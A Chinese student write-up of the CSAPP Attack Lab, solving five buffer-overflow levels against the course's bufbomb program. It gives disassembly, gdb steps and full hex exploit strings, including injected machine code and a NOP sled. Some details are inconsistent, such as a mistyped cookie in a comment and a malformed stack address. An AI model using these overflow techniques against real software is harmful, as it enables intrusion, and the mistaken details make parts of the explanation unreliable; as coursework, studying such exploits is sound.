实验题目: lab3 Attack lab |
实验目的: 根据实验要求完成level0~level4的解答 |
实验环境: Ubuntu12.04 |
实验内容及操作步骤: 一、文件夹构成 bufbomb:实验需要攻击的目标程序bufbomb。 其中结果提交和验证时,均需要使用到bufbomb,其使用方法(-h查看帮助):
u:学生标识;-u要求我们输入一个唯一的userid,根据不同的userid生成不同的cookie值; h:查看帮助。 一些对应的解答文件名称: Level 0: smoke Level 1: fizz Level 2: bang Level 3: boom Level 4: kaboom 二、准备工作
三、Level 0:Smoke 构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行smoke函数。 08048e0a <smoke>: 8048e0a: 55 push %ebp 8048e0b: 89 e5 mov %esp,%ebp 8048e0d: 83 ec 18 sub $0x18,%esp 8048e10: c7 44 24 04 fe a2 04 movl $0x804a2fe,0x4(%esp) 8048e17: 08 8048e18: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048e1f: e8 6c fb ff ff call 8048990 <__printf_chk@plt> 8048e24: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048e2b: e8 50 04 00 00 call 8049280 <validate> 8048e30: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048e37: e8 94 fa ff ff call 80488d0 <exit@plt> 我们的目标是调用getbuf()后,不正常返回,跳过smoke这个函数。并且我们发现smoke函数的进入地址好像为0x08048e0a(这里先保留意见)。 关于getbuf函数的C代码: /* Buffer size for getbuf */ #define NORMAL_BUFFER_SIZE 32 int getbuf() { char buf[NORMAL_BUFFER_SIZE]; Gets(buf); return 1; } 我们可以看到getbuf函数栈上申请的空间为32,我们缓冲区溢出的原理就是对buf的空间进行连续的填充,直到将getbuf函数的返回指令的地址用我们自定义的地址进行覆盖,从而在执行完getbuf函数后,在返回时将会跳转到我们所需要的的地址即可。
观察到getbuf汇编代码如下: 08049262 <getbuf>: 8049262: 55 push %ebp 8049263: 89 e5 mov %esp,%ebp 8049265: 83 ec 38 sub $0x38,%esp 8049268: 8d 45 d8 lea -0x28(%ebp),%eax 804926b: 89 04 24 mov %eax,(%esp) 804926e: e8 bf f9 ff ff call 8048c32 <Gets> 8049273: b8 01 00 00 00 mov $0x1,%eax 8049278: c9 leave 8049279: c3 ret
我们可以发现buf所占用的长度是0x28,那么总长度28+4(ebp)+4(返回地址)=48。我们只要把后4个字节用smoke的地址占据就好了, 并且smoke函数的进入地址为0x08048e0a 答案就为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0a 8e 04 08 将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。
发现居然错了?!前面的思路都没有问题,那么错的应该就是smoke的进入地址。我们采用gdb调试,发现smoke真正的进入地址可能是0x08048e10。
此时答案为 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 8e 04 08
尝试一下,成功了! 四、Level 1:Fizz 构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行fizz函数;fizz函数含有一个参数(cookie值),构造的攻击字符串应能给定fizz函数正确的参数,使其判断成功。 先看一下fizz的源码: void fizz(int val) { if (val == cookie) { printf("Fizz!: You called fizz(0x%x)\n", val); validate(1); } else printf("Misfire: You called fizz(0x%x)\n", val); exit(0); } 这题和第0题类似,只不过我们这次要跳到fizz这个函数。而且fizz这个函数有一个参数,我们需要伪造出函数的参数。 08048daf <fizz>: 8048daf: 55 push %ebp 8048db0: 89 e5 mov %esp,%ebp 8048db2: 83 ec 18 sub $0x18,%esp 8048db5: 8b 45 08 mov 0x8(%ebp),%eax 8048db8: 3b 05 04 d1 04 08 cmp 0x804d104,%eax 8048dbe: 75 26 jne 8048de6 <fizz+0x37> 8048dc0: 89 44 24 08 mov %eax,0x8(%esp) 8048dc4: c7 44 24 04 e0 a2 04 movl $0x804a2e0,0x4(%esp) 8048dcb: 08 8048dcc: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048dd3: e8 b8 fb ff ff call 8048990 <__printf_chk@plt> 8048dd8: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048ddf: e8 9c 04 00 00 call 8049280 <validate> 8048de4: eb 18 jmp 8048dfe <fizz+0x4f> 8048de6: 89 44 24 08 mov %eax,0x8(%esp) 8048dea: c7 44 24 04 d4 a4 04 movl $0x804a4d4,0x4(%esp) 8048df1: 08 8048df2: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048df9: e8 92 fb ff ff call 8048990 <__printf_chk@plt> 8048dfe: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048e05: e8 c6 fa ff ff call 80488d0 <exit@plt> 我们能发现fizz的进入地址为0x08048daf。从mov %eax,0x8(%esp)和movl $0x804a4d4,0x4(%esp)这两句话我们可以推测到是关键点。 0x8(%esp)就是函数的第一个参数,而0x804a4d4这个内存地址保存着cookie的值。也就是说参数是放到了返回地址的上面,并且和返回地址相邻。 同第0关一样,先用fizz函数地址覆盖掉getbuf返回地址,可以执行fizz函数,并且要将fizz函数的返回地址覆盖掉,并用cookie覆盖掉上面的参数。这样就可以跳转到fizz函数,并且在跳转后自己取到cookie作为参数,fizz函数的返回地址可以用任意四个字节的数覆盖, 从前面可知我的cookie为0x165568ae 答案就为:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 af 8d 04 08 00 00 00 00 ae 68 55 16 将其保存到fizz.txt中,用管道输入,通过hex2raw后再输入到bufbomb
完成 五、Level 2: Bang 构造攻击字符串作为目标程序输入,造成缓冲区溢出,使目标程序能够执行bang函数;并且要篡改全局变量global_value为cookie值,使其判断成功。但我们知道全局变量放置在bss节或data节,并不存放在栈中,前面的方法只能修改栈中的内容,无法修改全局变量的内容。那我们需要换一种思路,先构建一段恶意代码,通过该段恶意代码,修改全局变量的值,以及其他操作。 int global_value = 0; void bang(int val) { if (global_value == cookie) { printf("Bang!: You set global_value to 0x%x\n", global_value); validate(2); } else printf("Misfire: global_value = 0x%x\n", global_value); exit(0); } 以及它的汇编代码。先找到全局变量的位置:在bang函数里看到有两个内存地址,正好和源程序里的判断相等对应,接下来确定哪一个是全局变量。(看看是0x804d10c还是0x804d104) 08048d52 <bang>: 8048d52: 55 push %ebp 8048d53: 89 e5 mov %esp,%ebp 8048d55: 83 ec 18 sub $0x18,%esp 8048d58: a1 0c d1 04 08 mov 0x804d10c,%eax 8048d5d: 3b 05 04 d1 04 08 cmp 0x804d104,%eax 8048d63: 75 26 jne 8048d8b <bang+0x39> 8048d65: 89 44 24 08 mov %eax,0x8(%esp) 8048d69: c7 44 24 04 ac a4 04 movl $0x804a4ac,0x4(%esp) 8048d70: 08 8048d71: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048d78: e8 13 fc ff ff call 8048990 <__printf_chk@plt> 8048d7d: c7 04 24 02 00 00 00 movl $0x2,(%esp) 8048d84: e8 f7 04 00 00 call 8049280 <validate> 8048d89: eb 18 jmp 8048da3 <bang+0x51> 8048d8b: 89 44 24 08 mov %eax,0x8(%esp) 8048d8f: c7 44 24 04 c2 a2 04 movl $0x804a2c2,0x4(%esp) 8048d96: 08 8048d97: c7 04 24 01 00 00 00 movl $0x1,(%esp) 8048d9e: e8 ed fb ff ff call 8048990 <__printf_chk@plt> 8048da3: c7 04 24 00 00 00 00 movl $0x0,(%esp) 8048daa: e8 21 fb ff ff call 80488d0 <exit@plt> 我们通过gdb调试来判断,发现符合猜想,0x804d10c存的是全局变量。并且getbuf真正的进入地址为0x08049268(level 0的领悟)
查查bang的真实地址,发现为0x08048d58
这个时候,我们也找到了需要的恶意cookie值位0x165568ae,全局变量地址为0x0804d10c,可以写出恶意程序了。
将恶意代码保存到bomb.s的汇编代码文件,然后用gcc –m32 –c 编译成.o可重定位目标文件,然后objdump –d 反编译出机器码。
这是恶意代码,我们需要的是这些16进制的机器码,我把它们放到buf区域里,然后执行就可以了。要执行这些代码就需要让控制流可以跳到这,只要把这段恶意代码的首地址放到getbuf函数的返回地址处就可以了,也就是buf缓冲区的首地址放到getbuf函数返回地址。接下来找buf缓冲区的首地址:(我们根据前面发现的getbuf首地址0x08049268,对应更改了一下file.txt里原本显示的地址) 08049268 <getbuf>: 8049268: 55 push %ebp 8049269: 89 e5 mov %esp,%ebp 804926b: 83 ec 38 sub $0x38,%esp 804926e: 8d 45 d8 lea -0x28(%ebp),%eax 8049273: 89 04 24 mov %eax,(%esp) 8049276: e8 bf f9 ff ff call 8048c32 <Gets> 804927a: b8 01 00 00 00 mov $0x1,%eax 804927f: c9 leave 8049280: c3 ret 看一下getbuf函数,发现,在图中lea -0x28(%ebp),%eax处,ebp减小开辟了一段空间,也就是buf区域,eax寄存器中放的就是该空间的首地址,即buf首地址。 用gdb调试,我们在0x8049273也就是call gets之前设置断点来查看eax寄存器中的内容,查看eax的值。
用小端法表示也就是c8 2f 68 55。则最终编写的恶意代码为: c7 05 0c d1 04 08 ae 68 55 16 68 58 8d 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2f 68 55 将其保存到一个txt文件中,用管道输入,通过hex2raw之后输入bufbomb程序。
完成 六、Level 3: Boom 该实验与上面实验不同的点在于,这个实验需要我们可以返回test同时,修改getbuf的返回值。从上一题的汇编代码中我们可以看到getbuf的返回值为1,这一题我们需要将它修改为我们的cookie值,同时需要成功返回test函数继续执行。 前面的攻击都是使目标程序跳转到特定函数,进而利用exit函数结束目标程序运行,在这个过程中我们都把原来的恢复现场需要用的返回地址和原test的ebp给破坏了。Boom这一关中,我们将修复这些被我们破坏的栈状态信息,让最后还是回到test中,让被攻击者不容易发现我们动了手脚, 另外,构造攻击字符串,使得getbuf都能将正确的cookie值返回给test函数,而不是返回值1。设置返回值也就是更改eax(eax中保存的就是函数的返回值)的值,可以用mov指令设置eax存的为cookie值。更改完要进入test函数继续执行下面的指令,也就是下图中这个位置,将这个地址压栈。(以下是test的部分汇编代码) 08048e3c <test>: 8048e3c: 55 push %ebp 8048e3d: 89 e5 mov %esp,%ebp 8048e3f: 53 push %ebx 8048e40: 83 ec 24 sub $0x24,%esp 8048e43: e8 d0 fd ff ff call 8048c18 <uniqueval> 8048e48: 89 45 f4 mov %eax,-0xc(%ebp) 8048e4b: e8 12 04 00 00 call 8049262 <getbuf> 8048e50: 89 c3 mov %eax,%ebx 8048e52: e8 c1 fd ff ff call 8048c18 <uniqueval> 8048e57: 8b 55 f4 mov -0xc(%ebp),%edx 8048e5a: 39 d0 cmp %edx,%eax 8048e5c: 74 16 je 8048e74 <test+0x38> 8048e5e: c7 44 24 04 60 a4 04 movl $0x804a460,0x4(%esp) 8048e65: 08 到这里,我们所做的与上一题相同。接下来要恢复ebp的值,先得到ebp旧值。 gdb调试:在getbuf第一行,push ebp 设置断点。查看ebp的值。
ebp=0x55683020。 最终我们需要的汇编代码为: movl $0x165568ae,%eax movl $0x55683020,%ebp pushl $0x8048e50 ret mov那一行是将cookie值传入eax;将旧的ebp的值保存到ebp中,同时压入返回地址;push是需要将call getbuf函数的下一条要执行的指令地址压入返回地址;使用ret指令来返回test函数继续执行。 就像上一关一样操作,生成机器码。
并且我们最终的返回地址和上一关一样,是c8 2f 68 55。 最终得到: b8 ae 68 55 16 bd 20 30 68 55 68 50 8e 04 08 c3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 2f 68 55
成功! 七、Level 4: Kaboom 进入这一关需要加入-n选项,调的函数是testn和getbufn,与前三关不同。 该实验要比上一个实验更深一步。getbufn函数将连续运行5次,每次需要我们设置返回值为我们自己的cookie,而不是值1,并正确返回到testn函数中,在testn代码中看到这将导致程序运行“ KABOOM!”。 漏洞利用代码应设置cookie作为返回值,恢复任何损坏的状态,将正确的返回位置压入堆栈,并执行ret指令以真正返回到testn。 #define KABOOM_BUFFER_SIZE 512 void testn() { int val; volatile int local = uniqueval(); val = getbufn(); /* Check for corrupted stack */ if (local != uniqueval()) { printf("Sabotaged!: the stack has been corrupted\n"); } else if (val == cookie) { printf("KABOOM!: getbufn returned 0x%x\n", val); validate(4); } else { printf("Dud: getbufn returned 0x%x\n", val); } } int getbufn() { char buf[KABOOM_BUFFER_SIZE]; Gets(buf); return 1; } 查看C代码后发现其缓冲区大小为512个字节,而不是之前的32个字节。 该实验的难点则是每次堆栈的位置不确定,这里就需要我们使用nop指令。虽然栈的初始地址不同,但会在一些范围里浮动,所以我们需要把我们的代码填在512字节的最后几个字节里,并且前面全面的空间都填上nop(编码为 其余步骤和上一题一样,需要我们把cookie值放入eax,旧的ebp放入ebp中,同时将call getbufn下一条指令压入栈中,最后使用ret指令返回。 08048cce<testn>: 8048cce: 55 push %ebp 8048ccf: 89 e5 mov %esp,%ebp 8048cd1: 53 push %ebx 8048cd2: 83 ec 24 sub $0x24,%esp 8048cd5: e8 3e ff ff ff call 8048c18 <uniqueval> 8048cda: 89 45 f4 mov %eax,-0xc(%ebp) 8048cdd: e8 62 05 00 00 call 8049244 <getbufn> 8048ce2: 89 c3 mov %eax,%ebx 8048ce4: e8 2f ff ff ff call 8048c18 <uniqueval> 再回来看一下getbufn的汇编代码: 08049244 <getbufn>: 8049244: 55 push %ebp 8049245: 89 e5 mov %esp,%ebp 8049247: 81 ec 18 02 00 00 sub $0x218,%esp 804924d: 8d 85 f8 fd ff ff lea -0x208(%ebp),%eax 8049253: 89 04 24 mov %eax,(%esp) 8049256: e8 d7 f9 ff ff call 8048c32 <Gets> 804925b: b8 01 00 00 00 mov $0x1,%eax 8049260: c9 leave 8049261: c3 ret buf的首地址为-0x208(%ebp)为十进制520个字节大小。ebp是随机的,但是ebp相对esp是绝对的,根据上面的汇编代码结合栈结构得出 ebp = esp + 0x24 + 4 = esp + 28 getbufn函数返回后要从0x8048ce2开始执行,将这个地址压栈。 mov $0x165568ae,%eax //将返回值修改为cookie lea 0x28(%esp),%ebp //ebp=esp+28 push $0x8048ce2 //将call getbufn函数的下一条要执行的指令的地址压入返回地址 ret 转成机器码:
因为随机,不知道程序会跳到哪里,所以我们需要把恶意代码放到最后面,像最开始说的那样用nop滑行(nop不执行任何操作,只是PC+1,实际上我们需要用它的机器码90来填充)。最后面加上恶意程序以及需要跳转的地址。 现在我们只剩下返回地址没找到,我们在0x08049253处设置断点,读出eax的值。(每执行一次,要用c命令继续,进而执行下一次)。 如此这样五次,注意这次调试时运行r要加入-n。
最终我们找到了0x55682de8 0x55682e38 0x55682d78 0x55682e58 0x5555682e08 我们取最大的0x55682e58作为返回地址,这样就会一路滑行到恶意代码并执行。 我们最终需要填充0x208+8=528字节。 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*100*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*200*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*300*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*400*/ 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 /*500*/ 90 90 90 90 90 90 90 90 90 b8 ae 68 55 16 /*mov $0x165528ae,%eax*/ 8d 6c 24 28 /*lea 0x28(%esp),%ebp */ 68 e2 8c 04 08 /*push $0x8048ce2 */ c3 58 2e 68 55 /*0x55682e58*/
成功啦! 八、分析和心得体会: 分析: 本次实验主要就是让我们根据实验书的要求编写恶意代码,用于攻击bufbomb这个程序。主要需要了解缓冲区溢出原理、堆栈的变化过程和函数调用的实现过程等底层知识。 心得体会: 如果说lab2是对汇编代码的阅读更熟悉了的话,lab3就是对机器码更加熟悉了。其实机器码和汇编代码、地址的关系十分密切。 同时,我也对缓冲区攻击有了一定的理解,虽然感觉实际攻击肯定比现在这个复杂很多。 |
CSAPP LAB3 Attack lab
最新推荐文章于 2023-06-06 14:07:25 发布